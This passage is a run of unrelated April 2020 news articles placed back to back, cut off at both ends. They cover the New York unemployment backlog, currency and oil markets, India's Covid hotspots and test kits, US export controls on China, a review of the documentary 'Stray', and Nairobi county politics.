insurance before they could apply for pandemic relief. Now, there is just one application. The department already has paid out $4.6 billion. Cuomo said New York has done far more than any state and has been faster than any state at handling new claims. The number of people who have gotten assistance is mind-boggling, he said. For all the effort, Cuomo also made two comments that outraged the people waiting for a phone call from his staff. Cuomo called the backlog an annoying delay and said people will get their benefits eventually and backdated to the date they left work. Then, he suggested unemployed people who were protesting outside the Capitol could apply for jobs still considered essential. Janet Almasi, of Hyde Park, has waited more than one month for her unemployment application to be approved by NY state. That really ticked me off, said Janet Almasi of Hyde Park. She was laid off March 16 from her job as an office manager for a court reporting company. Courts were among the first to close. Almasi, 53, has been working since she was 14 years old. Sitting still does not suit her. She said she has applied for jobs at Instacart and as a pizza delivery driver. Im getting nothing, she said. Almasi told her landlord she doesnt know how much longer she can pay him. She is flying through her savings to pay for insulin and other medications. She does not believe the state has really thrown 3,000 workers at the problem. Im literally carrying my phone everywhere in fear that Im going to miss a call from them, she said. I cant sleep at night and I keep thinking the phone is ringing. Dunn, the Elmira Heights bartender, said Cuomos message seems disconnected from real life in Upstate New York. Nobody cares about him sitting down to dinner with his family, eating meatballs, she said. The Old Heights Tavern closed on March 16. Dunn has other income from working as an aide to her father, who had polio and recently had back surgery, and for her sister, who has stage-three cancer. She was among the workers who had to be rejected from regular unemployment, then apply for pandemic relief. Ive dealt with stress my whole life and this took it out of me, she said. Its not just annoying. Its physically taking over your body when you dont get answers. Jess Dunn, of Elmira Heights, lost her job as a bartender. She is still waiting for the state to respond to her unemployment application. Welcome works as a machinist at the Amphenol Aerospace plant in Sidney. The wife of one of his co-workers was the first person in Otsego County to die from coronavirus. Her husband also tested positive. People started to panic, Welcome said. He has diabetes a high risk for coronavirus complications and is under doctors orders to stay away from the plant and any other workplace. He filed for unemployment insurance April 7 but has not heard back. He said he visited a food pantry for the first time. He started to raise chickens. You can eat eggs no matter what, he said. He has a car payment to make. Rent is due. Insulin is expensive. He is considering filing for short-term disability instead. I dont know if I will get a call back, he said. It just doesnt seem like its going to happen. MORE ON CORONAVIRUS Coronavirus in NY: Cases, maps, charts and resources Many CNY workers are being forced to pick: Risk their health or secure their paycheck Onondaga County warns of potential coronavirus exposure at Target, Walmart No attractive nuisances when NY starts reopening: Bad news for NYS Fair, concerts? Complete coronavirus coverage on syracuse.com Contact Michelle Breidenbach | mbreidenbach@syracuse.com | 315-470-3186. By Karen Brettell NEW YORK (Reuters) - The dollar dropped against a basket of currencies on Tuesday, a day before the Federal Reserve was due to conclude its latest two-day policy meeting and as investors rebalanced portfolios ahead of the end of the month. Investors will be watching to see if the U.S. central bank gives any clues on its likely future path after it responded to the economic devastation of the novel coronavirus outbreak by slashing interest rates, resuming bond-buying and backstopping credit markets. Central bank meetings this week and rebalancing for month-end will make it difficult to read market moves in the coming days, said Mark McCormick, global head of FX strategy at TD Securities in Toronto. We wouldn't draw too many conclusions about the state of the currency market over the next few sessions given the mingling of policy and technical drivers, McCormick said. Month-end rebalancing is negative for the greenback, with the U.S. dollar likely to be sold against the euro, sterling, the Japanese yen and the Australian dollar, he said. The dollar index <=USD> fell 0.423% to 99.85. It has risen from 99.00 at the end of March. The Australian dollar jumped 0.56% to $0.6500 after earlier reaching $0.6514, the highest since March 11. The greenback gave back some earlier losses as stocks came off their highs on concerns that the coronavirus could spread further than previously thought if businesses are reopened prematurely. Optimism that countries across the globe are getting closer to reopening their economies has cheered stocks this week and reduced demand for the greenback. [.N] The Swedish crown jumped against the dollar and euro after Sweden's central bank held interest rates steady and maintained stimulus measures designed to support an economy battered by the coronavirus pandemic. The greenback fell 1.16% to 9.8805 crowns , after earlier getting as low as 9.8527, the lowest since March 30. Story continues With Sweden facing its worst downturn since World War Two, investors had watched closely for any sign the Riksbank would push rates back below zero after it became the first central bank to ditch a negative interest rate policy late last year. But the Riksbank left its benchmark rate at 0%, as expected, with its governor saying a rate cut would not solve Sweden's economic problems. "It's hard not to see this as a bit hawkish - you'd think that if they didn't cut rates now, when would they cut?" said Morten Lund, FX strategist at Nordea, adding that he expected rates to remain steady this year and next. The European Central Bank (ECB) will also meet on Thursday. (Additional reporting by Tom Wilson in London; Editing by Paul Simao) Delhi and 14 districts across the country account for over 60% of all Covid-19 cases reported in India, according to data from the federal think tank Niti Aayog, whose chief executive officer Amitabh Kant says diligent monitoring, and aggressive testing, treating and containment are required to check the spread of the disease. Delhi, which has 11 districts, accounts for 12.62% of all cases in the country as of Monday. Mumbai and Indore feature among the list of the 14 other districts. Our job is to present the nationwide picture, but it is the state governments that have to take strong, ruthless containment measures, more testing, isolation, and treatment in order to bring the number of cases down, Kant told HT. These are the 15 places that have reported more than 1% of Indias cases and it is here that we have to flatten the curve to win the fight against the virus, said Kant. There are 33 other districts that have reported over 100 cases each so far, he said. Along with the data, Niti Aayog also presented a weekly trend of the number of cases, which shows that most of the states with these 15 high-case burden areas have started showing a decline other than Maharashtra and Delhi. However, it is not enough to show a decline over one week, this has to be consistent for three to four weeks to be a correct indication of a downward trend. This is the reason I have also put up Keralas trends, which has shown week on week constant decline. We must learn from what Kerala did, said Kant. Most of the 15 places referred to by the Niti Aayog are big cities such as Mumbai, Delhi, Chennai, Hyderabad, and Ahmedabad. Experts believe this is mainly due to density of the population in these cities and testing bias. These cities account for a big chunk of cases reported from their respective states Mumbai accounts for 33% of cases in Maharashtra; Ahmedabad accounts for 66% of the cases from Gujarat; Indore accounts for 49.5% cases in Madhya Pradesh; and Hyderabad accounts for 55.6% of the cases in Telangana. If you see the bigger cities, the population is dense leading to a faster spread of infectious diseases. Also, when it comes to testing, we have a track record of testing more in the urban areas, said Dr T Jacob John, professor emeritus and former head of virology department at Christian Medical College, Vellore. In Delhi too, the areas with the highest number of cases are those with a high proportion of slums and resettlement colonies. The analysis by NitiAayog is wrong in considering Delhi as one whole. It is not that entire Delhi is reporting high number of cases, but certain districts are. The districts where this is happening, there are slums and resettlement colonies where maintaining social distancing is not possible, said Dr Jugal Kishore, head of the department of public health at Safdarjung Hospital. Experts say that it is community engagement rather than lockdowns that can help bring down the number of cases. What we need to do is engage with the community, make them responsible for ensuring social distancing and other measures, said Dr Kishore. Dr John cited the example of Kerala, where authorities were quarantining all those who travelled to the state, whether from abroad or other parts of India. Maybe the government should have gone into communities in places like Mumbais Dharavi and explained about the disease, asked them to start wearing masks a month ago. Cities like Ahmedabad where the population density is lower can still implement these measures, but for bigger cities like Delhi and Mumbai, all the government can do now is firefight. The United States said on April 28 it will impose new restrictions on exports to China to keep semiconductor production equipment and other technology away from Beijings military. The new rules will require licenses for U.S. companies to sell certain items to companies in China that support the military, even if the products are for civilian use. They also do away with a civilian exception that allows certain U.S. technology to be exported without a license. They come as relations between the United States and China have deteriorated amid the new CCP (Chinese Communist Party) virus outbreak. The rules, which were posted for public inspection and will be published in the Federal Register on Tuesday, could hurt the semiconductor industry and sales of civil aviation parts and components to China. The changes, which also expand the universe of items requiring licenses, affect Russia and Venezuela, too, but the biggest impact will be on trade with China. It is important to consider the ramifications of doing business with countries that have histories of diverting goods purchased from U.S. companies for military applications, Commerce Secretary Wilbur Ross said in a statement. Washington trade lawyer Kevin Wolf said the rule changes for China are in response to its policy of military-civil fusion: finding military applications for civilian items. He said the regulatory definitions of military use and user are broad and go beyond purchases by entities such as the Peoples Liberation Army. For example, Wolf said, if a car company in China repairs a military vehicle, that car company may now be a military end-user, even if the item being exported is for another part of the business. A military end-user is not limited to military organizations, Wolf said. A military end-user is also a civilian company whose actions are intended to support the operation of a military item. The rule change also requires that U.S. companies file declarations for all exports to China, Russia, and Venezuela regardless of value. Obviously this is intended to give the U.S. government more visibility into the types of goods U.S. exporters send to these countries and their customers, said Washington trade lawyer Doug Jacobson. Another rule change involves eliminating civilian license exceptions for Chinese importers and Chinese nationals, as well as other countries, including Ukraine and Russia. The exceptions have applied to certain integrated circuits, telecommunications equipment, radar, high-end computers, and other items. The administration also posted a third proposed rule change that would force foreign companies shipping certain American goods to China to seek approval not only from their own governments but from the United States as well. The Commerce Department does not know the economic impact of imposing the re-export license, and will allow a comment period to gather information on the proposed change, a representative said. Republican Senator Ben Sasse supported the new rules, saying Chinese leader Xi Jinping has erased any daylight between Chinas businesses and the Communist Partys military. The tightened restrictions have been in the works since at least last year, but senior U.S. officials agreed to move ahead with them in late March, as Reuters reported earlier this month. John Neuffer, president and chief executive of the Semiconductor Industry Association, said the industry was concerned the broad rules will unnecessarily expand export controls for semiconductors and create further uncertainty for our industry during this time of unprecedented global economic turmoil. By Karen Freifeld Epoch Times staff contributed to this report. Source: Xinhua| 2020-04-28 22:03:17|Editor: huaxia Video Player Close TOKYO, April 28 (Xinhua) -- Since the outbreak of COVID-19 began in Japan, a restaurant named Ramen House Kitchen in Shizuoka Prefecture in the central part of the country has remained open, though customers are often few. Recently, a Chinese customer went to the restaurant and a heart-warming story started. The Chinese customer, Sun Jiangming, ordered a bowl of chicken soup ramen, one of the restaurant's signature dishes and savored it. When almost all the other customers left, he went to check out, taking out three boxes of face masks to the counter. This has surprised the staff of the restaurant, because face masks are now a scarce commodity in Japan and very hard to buy. It turned out that Sun had read an article on the social media about the restaurant helping a Chinese student who was in trouble due to the outbreak of COVID-19. He came to the restaurant with a "mission", hoping to repay their kindness with face masks. The Chinese student, Hu Jindan, who is from Shaanxi province, just graduated from the University of Shizuoka. She has been working in the restaurant since she came to the prefecture in 2015. The Chinese girl originally planned to return to her hometown after graduation in this spring, but the sudden outbreak of COVID-19 forced her to stay in Japan. Hu's flight back to China was canceled and her rental contract terminated. What's worse, her study visa expired, forcing her to change it to a short-term stay visa, which meant she lost the qualifications to work. After learning her experience, restaurant owner Yohei Amano was worried and decided to help her out. On April 15, he wrote in a post online that in order to help Hu out of trouble, the restaurant would use the day off to sell boxed meals and donate all the day's sales to her. Although April 16 was the restaurant's day off, all the staff had given up their breaks to volunteer. The restaurant received a lot of phone calls for ordering, while long queues lined up outside. At the end of the busy day, all the staff gathered together and Amano handed over 300,000 yen (2,814 U.S. dollars) of sales of 500 boxed meals and donations to Hu. The story moved Sun deeply. Just at this time, Tokyo-based Japan Shaanxi Chinese Association contacted him and they decided to do their bit. Considering face masks are in high demand in Japan, they made up their minds to donate a few boxes of face masks first to express their gratitude. "Under the tense situation of the global anti-pandemic battle, the friendship between the peoples of China and Japan has not diminished because of reduced contact, but rather deepened through such mutual assistance, "said Sun. Enditem Facebook Messenger Rooms integration for WhatsApp may arrive sooner than later following features announcement via the companys official Twitter feed. Thats based on recent reports indicating that the feature is rolling out to some users via the beta variant of the WhatsApp app. More directly, its rolling out unfinished deep within the APK for the app. That means it isnt currently available in a user-facing form but that the code to enable it is in place under the hood. That comes complete with a toggle for turning the feature on. Once live, WhatsApp integration with Facebook Rooms will bring multiple benefits. Not least of all, users would be able to take part in a group WhatsApp or Messenger call across both apps. Thats also without, the company has said, the need to download or install either. Instead, anybody who has the link to the group call will be able to participate at any time. Advertisement Messenger-based Rooms allows up to 50 users at a time. And Facebook is also expanding the number of users who can participate in a WhatsApp call in an upward direction. That number isnt quite going to hit 50 just yet, but WhatsApp video calls will support up to eight WhatsApp to start. Other Facebook-owned apps are getting integration too Now, integration with Facebooks Messenger is intended as part of the companys competitive efforts against Zoom and others. Group video calling has expanded rapidly along with ongoing health concerns worldwide. The apps have been utilized for everything from student-teacher interactions to work. In light of stay-at-home and sheltering orders against large gatherings, they have also seen adoption for virtual family gatherings. Facebook Messenger serves as a near-ubiquitous platform for getting people together already. The company has an enormous user base to tap into. But it isnt the only platform in use and it isnt the only popular platform. So integrating with WhatsApp in a platform-agnostic manner will make the feature more appealing to more users. That will also help it compete better with Zoom since no downloads will be needed. Advertisement Moreover, WhatsApp isnt the only Facebook-owned platform that Rooms is coming too. The company also indicated that it will be launching similar integration across Instagram and bringing Rooms to its Portal product line. That should help spread its use among users who arent on Facebook but are on other Facebook-owned services. But, potentially, it could extend Rooms well beyond Facebook users of all stripes. When is this coming, exactly? The appearance of Rooms integration in WhatsApp suggests that finalization of that will likely occur sooner than expected. In fact, the current expectation is that it may arrive over the course of the next several weeks. Most likely, some regions will see the feature before others but that hasnt been specified either. Once the feature does appear, if the UI remains unchanged between now and finalization, the integration will show up under the video-calling menu in WhatsApp. Thats under the new call options in the WhatsApp Calls tab, based on the images shared by WABetaInfo. Oklahoma's governor has called on U.S. President Donald Trump to declare the coronavirus pandemic an 'act of God,' a step to help oil-producing states contend with a crude glut that caused futures prices to close below $0 last week for the first time. 'Over-production of oil continues to threaten the economy,' Governor J. Kevin Stitt said in a letter to Trump that Stitt posted on Twitter late on Saturday. Declaring a 'force majeure' or 'act of God' would allow oil companies to halt operations without risking that land leases will be canceled for stopping production, Stitt said. Oklahoma Governor Kevin Stitt speaking in Oklahoma City last week. He wrote a letter to President Trump asking for help for oil-producing states by declaring the virus an 'act of God' Oklahoma's energy regulator said on Wednesday that current production can be considered 'economic waste.' That may allow producers to close money-losing wells without losing their leases, in what was viewed as a for struggling U.S. oil companies seeking relief from states after the market crash. U.S. production reached a record-high of near 13 million barrels per day late last year, but the pandemic has severly cut global consumption. On Monday, US oil futures posted a loss of almost 25 per cent, continuing a trend of recent losses amid fears that global storage could hit capacity due to a fall in demand during the coronavirus outbreak. Oil producers rushed to cap production as prices for June delivery of West Texas Intermediate, or WTI, lost $4.16, or 24.6 per cent, to settle at $12.78 a barrel on the New York Mercantile Exchange. Oil producers rushed to cap production as prices for June delivery of West Texas Intermediate, or WTI, lost $4.16, or 24.6 per cent, to settle at $12.78 a barrel on the New York Mercantile Exchange June Brent crude declined by $1.45, or 6.8%, at $19.99 a barrel Fuel demand is down 30 per cent globally, and storage is becoming precious, with roughly 85 per cent of worldwide onshore storage full as of last week, according to Kippler data. 'There's a lot of oil out there right now with few buyers, and storage facilities are filling up fast,' Alley Invest strategist Lindsey Bell told FOX Business. June Brent crude declined by $1.45, or 6.8%, at $19.99 a barrel. The US benchmark WTI fell more than Brent, which is the international benchmark, because traders are keeping close watch on the storage tanks in Cushing, Oklahoma, the largest facility of its kind in the US after the Strategic Petroleum Reserve. It's also where the contract is priced. Oil storage levels at Cushing have risen about 10 per cent in just a week to 59.7 million barrels, about 25 million barrels shy of its capacity. US stockpiles overall rose by 15 million barrels to 518.6 million barrels for the week ending April 17, according to the U.S. Energy Information Association. Producers are struggling to break even as the WTI and Brent have dropped 72 per cent and 68 per cent this year, respectively. Diamond Offshore Drilling on Sunday said it was filing for bankruptcy as analysts say more companies will likely seek protection from creditors as the outbreak continues. The drop in demand for oil caused prices for May futures to crash into negative for the first time in history last week. The cost to have a barrel of US crude for delivery in May plummeted to negative-$37.63 on April 20th, after it was at roughly $60 at the start of the year. WTI is falling more than Brent because traders are keeping close watch on the storage tanks in Cushing, Oklahoma, the largest facility of its kind in the US (pictured) after the Strategic Petroleum Reserve. It's also where the contract is priced The unprecedented drop came because contracts to have US oil delivered in May expired the next day, and traders scrambled to find places to store the oil within a two week period. That meant eventually paying buyers who have space to take the barrels off their hands. Traders are now saying a repeat of the negative pricing could come when the June contract expires on May 19th, reports CNBC . 'Will we hit -$100/bbl next month?' Mizuho analyst Paul Sankey asked in a note to clients last week, referring to the possibility of another round of negative pricing. 'Quite possibly,' he said, in response to his own question. 'The physical reality of oil is that it is difficult to handle, volatile, potentially polluting, and actually useless without a refinery.' To head off reaching capacity, OPEC and its oil-producing allies will start cutting 9.7 million barrels of oil per day this Friday. Exxon and Chevron also say they will cut back production. But some investors say the historic production cut, which starts this Friday, may be too late. Citi analyst Michael Hsueh says prices won't rebound until the economy has had a solid recovery. 'We would need to see a recovery in oil product demand in the end user markets, for example motorists, airlines and manufacturers, as countries cautiously relax epidemic mitigation efforts possibly as soon as May, but more so in June,' he said Friday in a note to clients. 'We would need to see a normalization of oil inventory from abnormally high levels, since oil refiners will choose to drawdown inventory in the first instance, before resuming a normal pace of buying,' he added. With that possibility not coming for a while still, Oklahoma Gov. J. Kevin Stitt's called on President Donald Trump to declare the coronavirus an 'act of God' to help oil-producing states like his during the pandemic. Declaring a 'force majeure' or 'act of God' would allow oil companies to halt operations without risking the cancellation of land leases for stopping production, Stitt said. Stitt said in a letter to Trump last week that he posted on Twitter late on Saturday: 'Over-production of oil continues to threaten the economy.' Oklahoma's energy regulator said on Wednesday that producers could close money-losing wells without losing their leases, the first victory for struggling US oil companies seeking relief from states after the market crash. The virus's impact, meanwhile, has claimed at least one recent industry casualty. Contract driller Diamond Offshore on Sunday filed for bankruptcy with debts of $2.6 billion. The Houston-based company, in court documents reviewed by the Associated Press, cited the downturn that accelerated with a recent oil price war between Russia and other major producers. The company's specialty of relatively costly, ultra-deep drilling has put it at a competitive disadvantage with the plunge in oil prices. Diamond Offshore reported a net loss of $62.7 million in the last quarter of 2019, even before the May future for the U.S. benchmark plunged below zero this month. Its failure to make a bond interest payment earlier this month on $500 million in debt due in 2039 raised expectations it might seek a restructuring. The company also announced it had hired advisors to discuss how to handle its predicament. 'Diamond's decision to not make an interest payment shows that the coronavirus induced crash in oil prices and corresponding capital spending cuts by oil and gas producers has indefinitely deferred any potential recovery in offshore drilling activity and dayrates,' Pete Speer, Moody's senior vice president, said in issuing a downgrade for the company. Good morning. (Heres the sign-up, if you dont already get California Today by email.) On Monday, Gov. Gavin Newsom said the state was a few weeks away, not months away, from making measurable and meaningful changes to our stay at home order. But in order to do that, he said, the states beaches cant draw the kinds of crowds that amassed over the weekend. The only thing that will set us back is our behavior, he said. Mr. Newsoms assessment came as public health officials in the Bay Area announced an extension of the nations first shelter-in-place orders until the end of May, but with provisions that would allow for the easing of some restrictions. Mr. Newsom said hed lay out more details on how businesses may be allowed to reopen in phases today. And as of Monday, it wont be just California, Oregon and Washington sharing best practices: Colorado and Nevada have joined the Western States Pact." Representative image Responding to the Indian Council of Medical Research (ICMR) asking states to stop using the rapid antibody test kits and return them to the manufacturers in China, the Spokesperson of the Chinese Embassy in New Delhi has said that it is irresponsible to term Chinese products as "faulty". "We are deeply concerned with the evaluation results and the decision made by Indian Council of Medical Research. China attaches great importance to the quality of exported medical products. Recently, Chinese Embassy in India has maintained close contact with ICMR and the two Chinese companies to find out the real situation," The Hindu has quoted Ji Rong, Counselor and Spokesperson of the Embassy of China as saying. "It is unfair and irresponsible for certain individuals to label Chinese products as "faulty"; and look at issues with preemptive prejudice," the spokesperson added. According to CNBC-TV18, the spokesperson has said that the test kits have also been exported to Europe, Latin America and Asia, adding that the ICMR is aware of guidelines regarding usage of the test kits. We hope India would respect China's goodwill and resolve issues properly, the spokesperson has been quoted as saying. COVID-19 Vaccine Frequently Asked Questions View more How does a vaccine work? A vaccine works by mimicking a natural infection. A vaccine not only induces immune response to protect people from any future COVID-19 infection, but also helps quickly build herd immunity to put an end to the pandemic. Herd immunity occurs when a sufficient percentage of a population becomes immune to a disease, making the spread of disease from person to person unlikely. The good news is that SARS-CoV-2 virus has been fairly stable, which increases the viability of a vaccine. How many types of vaccines are there? There are broadly four types of vaccine one, a vaccine based on the whole virus (this could be either inactivated, or an attenuated [weakened] virus vaccine); two, a non-replicating viral vector vaccine that uses a benign virus as vector that carries the antigen of SARS-CoV; three, nucleic-acid vaccines that have genetic material like DNA and RNA of antigens like spike protein given to a person, helping human cells decode genetic material and produce the vaccine; and four, protein subunit vaccine wherein the recombinant proteins of SARS-COV-2 along with an adjuvant (booster) is given as a vaccine. What does it take to develop a vaccine of this kind? Vaccine development is a long, complex process. Unlike drugs that are given to people with a diseased, vaccines are given to healthy people and also vulnerable sections such as children, pregnant women and the elderly. So rigorous tests are compulsory. History says that the fastest time it took to develop a vaccine is five years, but it usually takes double or sometimes triple that time. View more Show Follow our LIVE blog for the latest updates of the novel coronavirus pandemic Earlier, ICMR had asked the states and Union Territories to stop using the rapid antibody COVID-19 testing kits procured from China due to "wide variation" in their performance even as the government said not a single rupee will be lost as payments were not made to the Chinese suppliers of the equipment. India had procured around five lakh rapid antibody test kits from two Chinese firms, Guangzhou Wondfo Biotech and Livzon Diagnostics, and these kits were distributed to several states reporting rising cases of the novel coronavirus infection. The ICMR also reiterated that the RT-PCR throat/nasal swab test is best-suited for diagnosis of COVID-19, adding that the rapid antibody test kits that have been procured by several states are only to be used for surveillance. The Tamil Nadu government has already announced that it will return 24,000 rapid test kits imported from China. Rural areas also have an abundance of older adults. In Teruel, the province in a remote corner of Aragon that contains Valderrobres, they make up a quarter of the population. Villages in the region, many with centuries-old ramparts overlooking the countryside, now have the appearance of boarded-up fortresses trying to keep their aged populations safe. In other rural areas, such as the province of Soria, in the neighboring region of Castile and Leon, outbreaks overwhelmed for weeks the only hospital with intensive care units. Such rural stretches of Spain have among the lowest population density levels in Europe, and many there have long complained about being neglected and cut off by the national authorities. In one village in Teruel, the only doctor in the area interrupted his weekly visits after he had to go into isolation; in another, the only grocery store closed for days after the shopkeeper left. In Valderrobres, where the closest hospital with intensive care in the region is two hours away, the health authorities initially refused to test those at the nursing home who didnt have symptoms, said the mayor, Carlos Bone, even as it became the epicenter of a local outbreak. When Mr. Bone bought tests and discovered that two-thirds of the staff and residents had the virus, the regional authorities rejected the results because they came from a private lab, and then conducted their own tests a week later. Constitution Capital Partners, an Andover, MA-based alternative investment manager focused on North American private equity and private credit, closed Ironsides V and related segregated mandates with total commitments of $1 billion. The fundraise meaningfully exceeded its target of $600m representing a significant increase from Ironsides IV, which closed at $755m in December 2016. Commitments came from a diverse group of new and existing global investors comprised of public pension plans, corporates, Taft-Hartley plans, foundations, endowments, family offices and high net worth investors. As with its predecessor fund, Ironsides V will focus on investments in primary funds with $400m to $2 billion in commitments and direct investments in companies with enterprise values between $100m and $1 billion. To date, Ironsides V has completed 27 direct investments and 11 fund investments. Led by Daniel Cahill, and John Guinee, Managing Partners, supported by a team of investment professionals with significant experience investing in buyout partnerships, equity co-investments and direct credit, Constitution Capital Partners is an alternative investment manager with an integrated investment model targeting the North American private equity and private credit markets. FinSMEs 28/04/2020 Here are the latest developments in Asia related to the novel coronavirus pandemic: - Back to school in Shanghai and Beijing - Tens of thousands of students returned to school in Shanghai and Beijing after months of closures as China's major cities gradually return to normality. Shanghai students in their final year of middle and high school went back to classrooms, while only high school seniors in Beijing were allowed on campus again to prepare for the all-important "gaokao" university entrance exam. - Bank of Japan expands easing measures - The Bank of Japan ramped up its emergency monetary easing and cut growth forecasts for the world's third-largest economy. The central bank said it would shift to unlimited government bond-buying and more than double its capacity to purchase corporate bonds and commercial papers -- a move to support financing as the country grapples with fallout from the virus. Meanwhile, Asian markets rallied as the rate of deaths from the virus sank in several badly hit countries, while leaders stepped up plans to reopen their economies, though oil prices sank with supply glut fears overshadowing output reductions. - New Zealand has won battle against transmission: PM - Prime Minister Jacinda Ardern said New Zealand had scored a significant victory against the spread of the coronavirus as the country began a phased exit from lockdown. "There is no widespread, undetected community transmission in New Zealand," Ardern declared. "We have won that battle." - Australians rush to download tracker app - Nearly two million Australians rushed to download a new smartphone app designed to make coronavirus contact tracing easier, the government said, overlooking privacy concerns in the hope of speeding up the end of social-distancing lockdowns. Health Minister Greg Hunt hailed take-up since the app was released Sunday evening as "extraordinary", saying 1.9 million people had downloaded the program in less than 24 hours. - Malaysia criticised for jailing virus rule breakers - Malaysia should stop jailing people who breach strict curbs imposed to halt the spread of the virus, because the practice places people at greater risk of infection, Human Rights Watch said. Thousands have been detained for breaking the rules and some have been handed short jail terms. Authorities have established temporary jails to hold the extra inmates and said at the weekend that the first batch of 58 people had been sent to the prisons. - Thai cases drop to single digits - Thailand recorded nine new infections -- the first time the number of new cases has dropped to single digits since the government declared a nationwide state of emergency over a month ago. Currently, the country has 2,931 cases of COVID-19, and a death toll of 52. - China envoy warns of Australia boycott - China's ambassador in Australia has warned that demands for a probe into the spread of the coronavirus could lead to a consumer boycott of Aussie wine or trips Down Under. Australia has joined the United States in calling for a thorough investigation into how the virus transformed from a localised epidemic in central China into a pandemic that has killed more than 200,000 people, forced billions into isolation and torpedoed the global economy. - Indonesian zoo animals 'face starvation' - Thousands of animals, including Sumatran tigers and Bornean orangutans, are facing the threat of starvation at Indonesian zoos. More than 90 percent of the archipelago's zoos only have enough feed until mid-May and not enough money to buy more owing to a lack of visitors, according to the Indonesian Zoo Association. - Thousands of Afghan inmates ordered freed - In Afghanistan, President Ashraf Ghani ordered the release of about 12,400 prisoners in an attempt to slow the spread of the coronavirus. Ghani's decree comes on top of an earlier directive to release 10,000 prisoners for the same reason, and was unrelated to ongoing prisoner-swap negotiations with the Taliban. burs-sr/it/jm Click here to read the full article. The Turkish word zeytin, which means olive, sometimes doubles as a complimentary adjective used to define a pair of deeply expressive, dark-colored eyes. With that context in mind, the Istanbul street dog much of Elizabeth Los virtuosic feature documentary debut Stray tracks couldnt have been more appropriately named. From the first moment Lo, an award-winning filmmaker of mostly documentary shorts, graces the screen with a closeup of Zeytin, its the canines eyes that register. Possessing a dramatic screen quality with her striking gaze, elegant lashes and playfully twitching and raising eyebrows, Zeytin steadily lends the film a piece of her incorruptible purity that at once enchants and strengthens spirits. Thanks to the mutts magnificent orbs, one feels a soul-baring affinity with the fearless Zeytin as she searches for kindness while wandering and conquering the streets of Istanbul. Its a tough town, but the young outcast quickly proves to be a savvy survivor, whos somehow managed to make sense of that citys one-of-a-kind chaos which Stray portrays with stunning, head-spinning precision. For starters, Zeytin remarkably seems to know how to cross the street even on the bustling outskirts of Galata and the Golden Horn, whom to schmooze for food and whose chatter to eavesdrop on. More from Variety In fairness, these urban achievements arent unique to Los lead dog. Marked by its unusual stance in the world through its governmental support of wild street dogs, Turkey is filled with untouched independent pups that peacefully live on their own terms. It hasnt always been this way however the country has had mass killings of strays since 1909 but thanks to extensive and effective protests, it is now illegal to euthanize or confine strays in Turkey. Consequently, like the Istanbul street cats playfully portrayed in Ceyda Toruns Kedi, dogs of the same metropolis have also been defiantly roaming freely for quite sometime and are at one with the communities where they live. Story continues In that regard, Zeytin is not alone in her excursions in her pack are also the caring doggie Nazar and timid puppy Kartal, as well as a trio of homeless, heartbreakingly adrift Syrian refugee boys who take it one day at a time, sheltering in construction sites, sleeping in dilapidated buildings at night, sniffing glue and finding some sense of homey comfort and belonging in the nonjudgmental dogs presence. So as Lo follows the group of vagabonds going about their days in the unforgiving city, not missing a single detail about the way dogs move, play and rest sometimes, solitary, other times, alongside the boys the films title Stray gradually assumes a dual emotional and political connotation that encompasses more than one species. With her low-to-the ground, intimate camera and richly assembled sequences that add up to 72 economic minutes (she is also the cinematographer and editor here), Lo inspects both the faultlines and fringes of the Turkish society and ponders profound philosophical questions concerning humanity. Throughout the mostly wordless Stray, we wonder with compassion and considerable self-critique whom the society uplifts and supports vs. whom it chooses to disregard and deem invisible. While the answer the film suggests isnt always pleasant, Lo refuses to succumb to perennial doom and gloom, and instead, highlights flourishes of kindness wherever she stumbles upon them. The kids and dogs sometimes go unnoticed, and sometimes get dismissed with distressing meanness; but other times, they get a taste of human generosity, too. In various scenes that burst with neorealistic touches and microcosmic portraits, people either go out of their way to feed the pups, who are otherwise used to digging through trash or fighting over a bone, or give them a little head scratch and a nourishing smile. Lo decisively remains observational and non-manipulative no matter what the scenario is, an attitude that positions her film closer in character to Los Reyes, Ivan Osnovikoff and Bettina Peruts 2019 documentary on a pair of Chilean strays that hang out at a skate park in Santiago, rather than the more stagey and talky Kedi. In that, Stray organically builds its narrative, amplified by the work of Leviathan sound designer Ernst Karel that molds echoes of ezan (call to prayer), gridlocked traffic jams, womens day street protests and private cafe chatters of friends and couples into an urban musical opus with a strange and singular beauty. Completing Los thoughtfully knitted, humor-infused canvas are various quotes from dog-loving Greek philosopher Diogenes of Sinope, sprinkled over the film through sporadic title cards. Human beings live artificially and hypocritically and would do well to study the dog, one of them reads. Placing among the upper ranks of films for dog lovers, Stray successfully takes this mission to heart, revealing in the process not only the wholesomeness of humans four-legged best friends, but also the soulful voice of an exciting new filmmaker with immense moral queries on her mind. Best of Variety Sign up for Varietys Newsletter. For the latest news, follow us on Facebook, Twitter, and Instagram. Nairobi County Assembly Speaker Beatrice Elachi has dismissed claims that she is fighting Governor Mike Sonko over the running of the county. Elachi says while she has no issues with Sonko, the governor does not like her because of her values. I have no issue with him. In fact, he has never come to me to say I want the Speaker to do this for me and I refused. I have protected him several times although he does not like me, said Elachi. I have my values and point out what is right or wrong and I will always tell him what is right according to the law and that is where we are not on the same page, she added. Elachi and Sonko are on different pages with regards to Supplementary Appropriation Bill, 2020 that allocated Sh15 billion to the Nairobi Metropolitan Service (NMS). The Bill was approved by the House on April 2, but Sonko refused to assent to it and sent it back to the assembly with his reservations. The MCAs then rejected his reservations and sent the original Bill back to the governor to append his signature, but he still declined to sign it into law. Nairobi Assembly is Helping Sonko Elachi maintained that the Assembly is not picking a war with Sonko but rather trying to help him and save money for services that can be delivered before the financial year ends on June 30. We just gave money to NMS and the Governor as the former is an administrative arm that needs money to function. The House is trying to sanitise what the Executive has been doing wrong as they have been spending without raising a supplementary budget, she said. What we are doing as an assembly is helping the governor. Where it has reached the assembly cannot go back to debate and bring back liabilities, Elachi added. Elachi further asked Sonko to respect the Assembly and support the goodwill of the NMS. Last week, Sonko confessed into signing a deed that he didnt even know its content. He was in State House alone and he handed over the four functions. What has now changed that he wants to withdraw from the deed? Elachi posed. The governor should be thankful that the President did not choose to disband the county but instead created an office to help revamp services in the city. Now if the governor continues to fight it, will it bring services to the county? She said all credit will be due to Sonko if he supports the NMS to deliver on its promises to residents. Fighting Badi or operations by the NMS will even add him more problems than what he is facing. Remember he was the one who signed and handed over the county functions, so the NMS is there to assist, Elachi said. Adding: We need each other and we do not need to fight. I wish we can sit down and solve all these problems so that we do not have same fights in the next budget. Ghanas leading satellite provider, RCS Ghana is bringing quality and affordable satellite broadcast services to the doorstep of Ghanaians and Africans. This follows a multi-year contract deal it has secured with Eutelsat Communications to provide capacity for the broadcast of its DTH bouquet to viewers in 